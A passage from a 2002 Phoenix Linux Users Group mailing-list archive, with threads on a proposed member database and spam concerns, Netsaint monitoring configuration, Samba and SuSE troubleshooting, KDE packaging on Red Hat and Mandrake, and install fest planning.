schwätzte Derek Neighbors so: > > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email > > > anyone. > > > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly > > If you've asked to receieve it, it isn't SPAM. That's why we can gently use > the announce list ( something we should do more often ). > > If, OTOH, we just snarf all the email addies in our lists and start > mass-mailing them, then that's SPAM. They've signed up for the list > mechanisms. Using the email addies outside those contexts is opt-out. > > There's no need to hop outside the confines of the lists. People have > signed up for those, let's use them. Let's not start direct emailing with > addies reaped from the mailing lists. > > > acceptable. There are many companies I deal with that I request their > > SPAM because its valuable to me (discounts, special events, promotions > > etc) and I know they dont abuse me. Other people I do business with I > > woudl never give them my information or if I did I certainly would opt in > > for them to send me anything. > > We're mostly saying the same thing, except we're differing on the > definition of SPAM. > > ciao, > > der.hans - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRueaisk3ywszI1FEQJ3YACg4PfMKZWvw21nFfgbaXCPpDIYtxIAoN4R 6f4cnjBwiParXplF336K313P =yRdW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:30:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Thu, 27 Jun 2002 16:30:36 -0700 Subject: Install Fest II 0626 Status References: Message-ID: <3D1BA01C.8D86CEBF@cox.net> It would be great to have a published schedule of the presentations, too. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:38:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 16:38:57 -0700 Subject: Netsaint In-Reply-To: <1025218248.10747.90.camel@syz.broken-bit.com> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> Message-ID: <200206271638.57847.zen2now@qwest.net> well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL servers. in this senario would netsaint be an overkill? i am trying out ntop right now, what is your feeling about this app? as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint user and not the apacheuser. :~( slr On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > maybe a better question would be, is Netsaint worth the hassle? are there > > better tools for this that are easier to setup? > > Depends on what you want to monitor .. if you want to check a tiny > webserver or just a couple little hosts with the most basic checks, > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > until you start implementing larger networks or have several hosts > monitoring dozens of services each. I have a 5100-point of failure > netsaint install going watching almost 100 points of failure on several > machines, something no other opensource monitoring software could handle > without blowing the system up or becoming unmaintainable. For small > stuff though, hit freshmeat .. software like bigbrother would probably > work. > > In regards to your problem, it sounds like NEAT set the userid in > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > and make sure all the paths and users are correct for what you need. > > Lowell > > On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > Ok here goes, cause i guess i am going to be one of those that will > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > looked like it would make administration easier. i can pull up the web > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > httpd default group and chmod g+w host.cfg as suggested in the > > > README.txt for NEAT. the problem now is when i try to verify and > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > is probably your httpd userid. Fix this > > > > > > i am not sure why it is using this apache user, it is not entered in > > > the netsaint.cfg file. any ideas? > > > > > > slr > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 00:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 17:42:01 -0700 Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <5.1.0.14.0.20020627172154.025325b0@localhost> The purpose of any website or database that is accessible from outside is to get to information. Just like Google and other search engines, it's a database that you would search for what you need from people who register. Hans stated there is something being worked on for the website. I have stated I have something available that can be tweaked to preferences. However you send information about the database is fine by me. SPAM or not, if you don't want to read it, delete it. We can promote it on the website and on the lists, including the announce list. I won't go into whether processing time, display time, hard drive space, etc. would be available or would take up too much of these resources. The point is that I am wanting more to find the information that I am looking for instead of having to email the listing and searching through the email responses to get what I want or need at the time. I know there are sites out there where I can search for things that I may need or want at any given time, but PLUG people are who I turn to. I want to know that if I am looking for this one part or this one service or someone who can wave this wand, that I can find it in my own time, rather than having to drag myself through lot's of emails and calls that get me off track from the "thing" I most want. Just kinda why I brought this up and how I would like to see things improved upon. Kimi Adams Unity Wave At 6/27/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >My thoughts on a member database. > >I think it is a great idea. As of right now, we have little information >about who is subscribed to any of the mailing lists, other than their mail >address. Some people might consider that a "good thing". > >Any membership information should be gathered voluntarily. We should not >require anyone to add information to the database. We should warn them that >we will collect at least the email address that they are using to subscribe >to a list for the membership database. We do, after all, consider anyone >subscribed to any of our mail lists as a PLUG member (makes our numbers look >really great). > >I bet we could get Brian to capture a snapshot of the current subscribers' >email addresses from Mailman. We could them mass-email all subscribers >pointing them to a yet-to-be built web page with a form to fill out as much >or as little information as they want in the database. I bet we could even >set up a mechanism to send new subscribers to get sent there automatically. >Probably should set up a way to delete data when someone unsubscribes. This >is tougher because a person may be subscribed to all the lists but only be >unsubscribing from one or two. > >As far a web space for members, how much space do we have available that we >can use for members' pages? It is one thing to search the database and >display data about one member, but it will take a lot more space if we set >aside even 1M of space for every member. It will take some resources for the >database web page that collects the data and for the database and for the >scripts that need to be written. It will take more space to search and >display routines based on criteria input (sounds like a job for our PhP >gurus). > >All in all, I consider this a great project. It would be even greater if we >release all the tools after it is done. I am almost surprised that another >UG has not done something like this already. So what do we need in terms of >hardware, software, and manpower? Who is gonna organize it? How many members >would be interested in participating? >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t >qR5NkSwamOTOgLRJ+rIAeJDg >=XeNW >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott) Date: Thu, 27 Jun 2002 18:13:28 -0700 (MST) Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: On Thu, 27 Jun 2002, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > look in your .../samba/var/log.smbd and log.nmbd files. There should be some info there on what it is choking on. Also, you mentioned that samba was fubared - how did you come to that conlusion - what are you seeing/not seeing? scott sbrews@cox.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 18:13:15 -0700 Subject: Membership database References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <001d01c21e40$facc04d0$6701a8c0@drghastly> I'm afraid I didn't sign up to this list to have my email put into a DB with a list of skills/references on me so that someone can go in there and just send me email whenever they have a problem. I thought that was what PLUG was for, to discuss the problem and get multiple points of view and figure out the best tool for the job. It's funny how a LOT of people complain about being on someone's SPAM list and when they get told "You can just delete it" they get VERY upset. "I didn't want to be on it in the FIRST place!" Your proposing to do that to everyone who hates SPAM. You talk about not wanting to have to go through all the emails PLUG generates to find the answers to your issues. *I* do not want to have to go thought all the PLUG emails AND everyones PERSONAL emails to me to find the answers I need. I get enough e-mail as it is, I do not need to wade through more. If someone sees I posted a response to answer a question and they wish to follow up with me privately, thats fine. But I don't want emails just coming out of the blue like crazy (NOT that I am saying you will. I am a newbie afterall, I'm just stating a view point :) The opposite applies. If someone whishes to give me an answer privately, that is also obviously ok. If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is just as annoyng as MSN/hotmail signing you up for thier spam, not telling you, and then saying "Oh, well, its OPT-Out..." ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Thursday, June 27, 2002 5:42 PM Subject: Re: Membership database > The purpose of any website or database that is accessible from outside is > to get to information. Just like Google and other search engines, it's a > database that you would search for what you need from people who > register. Hans stated there is something being worked on for the > website. I have stated I have something available that can be tweaked to > preferences. > > However you send information about the database is fine by me. SPAM or > not, if you don't want to read it, delete it. We can promote it on the > website and on the lists, including the announce list. > > I won't go into whether processing time, display time, hard drive space, > etc. would be available or would take up too much of these resources. The > point is that I am wanting more to find the information that I am looking > for instead of having to email the listing and searching through the email > responses to get what I want or need at the time. > > I know there are sites out there where I can search for things that I may > need or want at any given time, but PLUG people are who I turn to. I want > to know that if I am looking for this one part or this one service or > someone who can wave this wand, that I can find it in my own time, rather > than having to drag myself through lot's of emails and calls that get me > off track from the "thing" I most want. > > Just kinda why I brought this up and how I would like to see things > improved upon. > > Kimi Adams > Unity Wave > > At 6/27/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >My thoughts on a member database. > > > >I think it is a great idea. As of right now, we have little information > >about who is subscribed to any of the mailing lists, other than their mail > >address. Some people might consider that a "good thing". > > > >Any membership information should be gathered voluntarily. We should not > >require anyone to add information to the database. We should warn them that > >we will collect at least the email address that they are using to subscribe > >to a list for the membership database. We do, after all, consider anyone > >subscribed to any of our mail lists as a PLUG member (makes our numbers look > >really great). > > > >I bet we could get Brian to capture a snapshot of the current subscribers' > >email addresses from Mailman. We could them mass-email all subscribers > >pointing them to a yet-to-be built web page with a form to fill out as much > >or as little information as they want in the database. I bet we could even > >set up a mechanism to send new subscribers to get sent there automatically. > >Probably should set up a way to delete data when someone unsubscribes. This > >is tougher because a person may be subscribed to all the lists but only be > >unsubscribing from one or two. > > > >As far a web space for members, how much space do we have available that we > >can use for members' pages? It is one thing to search the database and > >display data about one member, but it will take a lot more space if we set > >aside even 1M of space for every member. It will take some resources for the > >database web page that collects the data and for the database and for the > >scripts that need to be written. It will take more space to search and > >display routines based on criteria input (sounds like a job for our PhP > >gurus). > > > >All in all, I consider this a great project. It would be even greater if we > >release all the tools after it is done. I am almost surprised that another > >UG has not done something like this already. So what do we need in terms of > >hardware, software, and manpower? Who is gonna organize it? How many members > >would be interested in participating? > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > >qR5NkSwamOTOgLRJ+rIAeJDg > >=XeNW > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:30:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Thu, 27 Jun 2002 18:30:27 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <3D1BBC33.BC88DB14@qwest.net> Did a search for KDE base on rpmfind.net and 3.0.1 is in the Rawhide distro from RedHat. RawHide is the testing/beta distro for their next release. http://www.rpmfind.net//linux/RPM/rawhide/1.0/i386/RedHat/RPMS/kdebase-3.0.1-3.i386.html > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > > -----Original Message----- > From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] > Sent: Thursday, June 27, 2002 10:36 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > > main applications I want to use. KDE released ver 3.1 several weeks ago. > > Just for clarification, KDE 3.1 has not been released. Rather it is version > 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the > release announcement soon.) I also remember an allusion to "K-Mail 3.1" > earlier, which I assume was referring to KMail 1.4.1 (the version that > comes with 3.0.1). > > If you are interested in the KDE 3.1 release schedule, it may be found here: > http://developer.kde.org/development-versions/kde-3.1-release-plan.html > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm > 5f2zNPQR/Ixau1NJ67Q2b3w= > =ojSL > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:42:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 27 Jun 2002 18:42:46 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <20020628014246.GV8953@ecloud.org> At least if you do this on the Mailman "show member list" page, you can password-protect that, so that only other members can see it. I suspect lots of people will object to having their emails put on a public web page. On Thu, Jun 27, 2002 at 06:13:15PM -0700, Dr.G wrote: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was > for, to discuss the problem and get multiple points of view and figure out > the best tool for the job. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:31:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Thu, 27 Jun 2002 19:31:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: On Thu, 27 Jun 2002, Tom Emerson wrote: > A handful of first-person-shooter games running wouldn't hurt, 'specially > for the "Student Newspaper Oriented Press Releases" crowd? > > - t > I have... let's see....*Looks* Descent III, Q3A, Tribes 2 and a simulation game called Railroad Tycoon 2 - Gold edition loaded on this Linux box... :) Welp... looks like I going to bring both of my systems in again... Whoever setups up the venune at GCC make sure you got like 30 amps power setup for me because both of the boxes will require that much, together. ;) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:15:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Thu, 27 Jun 2002 19:15:23 -0700 Subject: Netsaint In-Reply-To: <200206271638.57847.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <20020627191523.57cc3058.linux@esaravana.com> My experience is that it scales well from 1 system to 500 systems. I use it at home to monitor my old pentium 133 system and also have implemented it successfully for a managed services company to monitor 500+ systems. With too many systems to monitor I had to fine tune the system communication with SOAP, XML and Java. It really worked great. But of course -- we were set a mere consultants who implemented the project, before a hotshot ex-Motorola manager took control of the project, cancelled the the netsaint installation over Intellectual Property issue(How intelligent he could be?), signed a contract with HP for OpenView at $50000/site and bankrupt the company. After few months, he contacted me for a job oportunity in my new company. OK, that's all together another big story. Anyway it is great product and scales really well. Sundar On Thu, 27 Jun 2002 16:38:57 -0700 "slr" wrote: > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr > > On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > > maybe a better question would be, is Netsaint worth the hassle? are there > > > better tools for this that are easier to setup? > > > > Depends on what you want to monitor .. if you want to check a tiny > > webserver or just a couple little hosts with the most basic checks, > > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > > until you start implementing larger networks or have several hosts > > monitoring dozens of services each. I have a 5100-point of failure > > netsaint install going watching almost 100 points of failure on several > > machines, something no other opensource monitoring software could handle > > without blowing the system up or becoming unmaintainable. For small > > stuff though, hit freshmeat .. software like bigbrother would probably > > work. > > > > In regards to your problem, it sounds like NEAT set the userid in > > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > > and make sure all the paths and users are correct for what you need. > > > > Lowell > > > > On Thu, 2002-06-27 at 15:04, slr wrote: > > > slr > > > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > > Ok here goes, cause i guess i am going to be one of those that will > > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > > looked like it would make administration easier. i can pull up the web > > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > > httpd default group and chmod g+w host.cfg as suggested in the > > > > README.txt for NEAT. the problem now is when i try to verify and > > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > > is probably your httpd userid. Fix this > > > > > > > > i am not sure why it is using this apache user, it is not entered in > > > > the netsaint.cfg file. any ideas? > > > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:34:51 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> Message-ID: <3D1BCB4B.C30FB519@georgetoft.com> slr wrote: > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > does list the name, but that's not required. > > if /etc/hosts has nothing to do with what the real hostname is. then why in > the /etc/rc.config file right above the statement: > > FQHOSTNAME=blah.hostname.com > > does it state: > > Hostname of the system (full name) > Don't forget to edit your /etc/hosts appropriately > > and BTW, thx George for the clue to /etc/rc.config. No problem. > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > otherwise be ignored. > > sl in SuSE is YaST the preferred way of making system changes? Yes, and this drove me batty. I cut my teeth learning config files and making symlinks in the start up scripts, so YaST was a major annoyance. Now, I live with YaST because SuSE supports the Linux Standards Base, and some other distros do not. Today's YaST really rocks, so I am getting used to doing the point and click administration. I wanted to install my WinTV card. Point-click, YaST set it up - easy. I wanted to monitor my CPU temperature. I installed the sensors package, and YaST installed the proper entries in /etc/modules.conf for me. The "gotcha" with YaST is when you install a new service, like LDAP, you must enable the new service in YaST, because every init script asks YaST if that service is supposed to start up. The other "gotcha" is that YaST2 does not manage Logical Volumes correctly - use YaST1 for that. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:38:29 -0400 Subject: OT: Five year old wins MS proficiency cert, Gates book Message-ID: <3D1BCC25.AD3772CD@georgetoft.com> Five year old wins MS proficiency cert, Gates book By Andrew Orlowski in San Francisco Posted: 25/06/2002 at 07:39 GMT A five year old boy in Thailand has passed Microsoft's Office User Specialist examination (MOUS), and won himself a copy of Bill Gates masterpiece Business At The Speed of Light... http://www.theregister.co.uk/content/28/25874.html What's next, Microsoft MCSE at 6 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 19:47:05 -0700 Subject: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <004d01c21e4e$169103c0$6701a8c0@drghastly> 7, actually. ----- Original Message ----- From: "George Toft" To: "PLUG Discuss" Sent: Thursday, June 27, 2002 7:38 PM Subject: OT: Five year old wins MS proficiency cert, Gates book > Five year old wins MS proficiency cert, Gates book > By Andrew Orlowski in San Francisco > Posted: 25/06/2002 at 07:39 GMT > > > A five year old boy in Thailand has passed Microsoft's Office User > Specialist examination (MOUS), and won himself a copy of Bill Gates > masterpiece Business At The Speed of Light... > > http://www.theregister.co.uk/content/28/25874.html > > > What's next, Microsoft MCSE at 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:09:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:09:15 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <005d01c21e51$35224da0$0301010a@tickticker.com> >Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. they do kinda, but i installed KDE 3.0.1 on my mandrake 8.2 distro and not including download it took me a whopping 20 mins to install. Works great too. if you want 8.2, i can get you a copy and throw the rpms for KDE on a cd and either directions or just help out. if it's one thing i learned to do well, it's install the latest KDE on a mandrake install as i've been doing it since mandrake 7.1. anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: RE: Crappy Products Cost More!! > I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > > I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > > -----Original Message----- > From: Kurt Granroth [mailto:kurt@granroth.org] > Sent: Thursday, June 27, 2002 3:02 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > > As for your java issues with Konqueror, it depends on what version of Java > you are using. You need java 1.3 or better (the IBM version works great > for me). Java support in the upcoming 3.1 (not due until this Fall) is > *much* improved over the 3.0.x series as well. > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:04:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:04:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <005001c21e50$956d2410$0301010a@tickticker.com> I'm glad to hear the 12 step arizona plan has worked as well for you as it has for me:-) anthony ps. say ya to da u.p., eh? ----- Original Message ----- From: "Kurt Granroth" To: Sent: Thursday, June 27, 2002 3:00 PM Subject: Re: Install fest interest generation > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:10:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:10:57 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> <02062715413316.07972@nova.wedge.org> Message-ID: <006001c21e51$6c12c970$0301010a@tickticker.com> I'm from the Detroit area and we just referred to them as snowbound except for the month of pleasant (for mich) weather. Anthony ----- Original Message ----- From: "Jim" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: Re: Install fest interest generation > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Down in Detroit we referred to youse guys who lived in gods country north of > the bridge as you-pee-ers ::grin:: > > On Thursday 27 June 2002 15:00, you wrote: > > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > > Naw, I'm not a YouPer > > > > It's "Yooper", not "Youper". :-) > > > > For the record, I spent the first 22 years of my life as a Yooper living in > > the northernmost part of Michigan. Five years living here has cured me of > > all that, though :-) > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 > 